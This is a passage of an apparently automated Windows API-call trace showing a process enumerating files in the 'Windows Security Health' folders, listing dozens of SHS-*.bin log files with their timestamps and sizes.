RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427270) returned 1 [0075.055] RtlExitUserThread (Status=0x0) Thread: id = 723 os_tid = 0xb6c [0075.057] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347ba40 [0075.057] wcscpy (in: _Dest=0x347ba40, _Source="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor" [0075.057] wcscat (in: _Dest=0x347ba40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor\\" [0075.057] wcscat (in: _Dest=0x347ba40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor\\*" [0075.057] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.057] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.057] wcscmp (_String1=".", _String2=".") returned 0 [0075.057] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.057] wcscmp (_String1="..", _String2=".") returned 1 [0075.057] wcscmp (_String1="..", _String2="..") returned 0 [0075.057] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.057] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0075.058] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0075.058] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ba40) returned 1 [0075.058] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2cc0) returned 1 [0075.058] RtlExitUserThread (Status=0x0) Thread: id = 724 os_tid = 0x9fc [0075.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0075.059] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs" [0075.059] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs\\" [0075.059] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs\\*" [0075.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.059] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb32cf2c, ftLastAccessTime.dwHighDateTime=0x1d4d600, ftLastWriteTime.dwLowDateTime=0xb32cf2c, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.059] wcscmp (_String1=".", _String2=".") returned 0 [0075.059] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb32cf2c, ftLastAccessTime.dwHighDateTime=0x1d4d600, ftLastWriteTime.dwLowDateTime=0xb32cf2c, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.059] wcscmp (_String1="..", _String2=".") returned 1 [0075.059] wcscmp (_String1="..", _String2="..") returned 0 [0075.059] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bbd978f, ftCreationTime.dwHighDateTime=0x1d38c3f, ftLastAccessTime.dwLowDateTime=0x7bbd978f, ftLastAccessTime.dwHighDateTime=0x1d38c3f, ftLastWriteTime.dwLowDateTime=0x8d13fad9, ftLastWriteTime.dwHighDateTime=0x1d38c3f, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-01~1.BIN")) returned 1 [0075.059] wcscmp (_String1="SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.059] wcscmp (_String1="SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.059] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29ac15be, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x29ac15be, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x25d26abc, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-01~2.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb863810c, ftCreationTime.dwHighDateTime=0x1d4ae7b, ftLastAccessTime.dwLowDateTime=0xb863810c, ftLastAccessTime.dwHighDateTime=0x1d4ae7b, ftLastWriteTime.dwLowDateTime=0x5a744dc7, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-01~3.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf94c6396, ftCreationTime.dwHighDateTime=0x1d39f5a, ftLastAccessTime.dwLowDateTime=0xf94c6396, ftLastAccessTime.dwHighDateTime=0x1d39f5a, ftLastWriteTime.dwLowDateTime=0x54c48137, ftLastWriteTime.dwHighDateTime=0x1d39f5b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~1.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb28f34a3, ftCreationTime.dwHighDateTime=0x1d39f5c, ftLastAccessTime.dwLowDateTime=0xb28f34a3, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0xdd1442c1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~2.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee7ecabd, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0xee7ecabd, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x5e457d19, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~3.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a075c31, ftCreationTime.dwHighDateTime=0x1d3aafb, ftLastAccessTime.dwLowDateTime=0x7a075c31, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x32313161, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~4.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19a4d06c, ftCreationTime.dwHighDateTime=0x1d4d5d0, ftLastAccessTime.dwLowDateTime=0x19a4d06c, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x37122ed1, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-03~1.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcadfed41, ftCreationTime.dwHighDateTime=0x1d4d5d2, ftLastAccessTime.dwLowDateTime=0xcadfed41, ftLastAccessTime.dwHighDateTime=0x1d4d5d2, ftLastWriteTime.dwLowDateTime=0xac415a8e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-03~2.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xb32cf2c, ftCreationTime.dwHighDateTime=0x1d4d600, ftLastAccessTime.dwLowDateTime=0xb32cf2c, ftLastAccessTime.dwHighDateTime=0x1d4d600, ftLastWriteTime.dwLowDateTime=0xb32cf2c, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-03~3.BIN")) returned 1 [0075.060] wcscmp (_String1="SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.060] wcscmp (_String1="SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.060] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e95e484, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0x6e95e484, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x6da4c73e, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-07~2.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3f8b81, ftCreationTime.dwHighDateTime=0x1d41dc5, ftLastAccessTime.dwLowDateTime=0xc3f8b81, ftLastAccessTime.dwHighDateTime=0x1d41dc5, ftLastWriteTime.dwLowDateTime=0x23c2da14, ftLastWriteTime.dwHighDateTime=0x1d41dc5, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-07~1.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88c78932, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x88c78932, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x7b55a971, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~1.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9095a9c2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9095a9c2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a28d98a, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~2.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64211155, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x64211155, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xfd42c56a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~3.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65faa03, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x65faa03, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x8f6c25b7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~4.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x98d63d64, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x98d63d64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xffed8d7a, ftLastWriteTime.dwHighDateTime=0x1d327ec, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH3B08~1.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xd5f7bb1, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xd5f7bb1, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xd5f7bb1, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH7EFA~1.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8361892b, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x8361892b, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x1e89ead9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHFD17~1.BIN")) returned 1 [0075.061] wcscmp (_String1="SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.061] wcscmp (_String1="SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.061] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x291e9ee7, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x291e9ee7, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xbc53e837, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH8EDE~1.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa53a1f04, ftCreationTime.dwHighDateTime=0x1d461f2, ftLastAccessTime.dwLowDateTime=0xa53a1f04, ftLastAccessTime.dwHighDateTime=0x1d461f2, ftLastWriteTime.dwLowDateTime=0xc1465998, ftLastWriteTime.dwHighDateTime=0x1d461f2, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-10~2.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24b95208, ftCreationTime.dwHighDateTime=0x1d461fa, ftLastAccessTime.dwLowDateTime=0x24b95208, ftLastAccessTime.dwHighDateTime=0x1d461fa, ftLastWriteTime.dwLowDateTime=0x41cd2745, ftLastWriteTime.dwHighDateTime=0x1d461fa, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-10~3.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8d5846d, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xb8d5846d, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xcd7cd567, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-10~1.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e427524, ftCreationTime.dwHighDateTime=0x1d47c27, ftLastAccessTime.dwLowDateTime=0x4e427524, ftLastAccessTime.dwHighDateTime=0x1d47c27, ftLastWriteTime.dwLowDateTime=0x76bc81c5, ftLastWriteTime.dwHighDateTime=0x1d47c27, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~3.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", 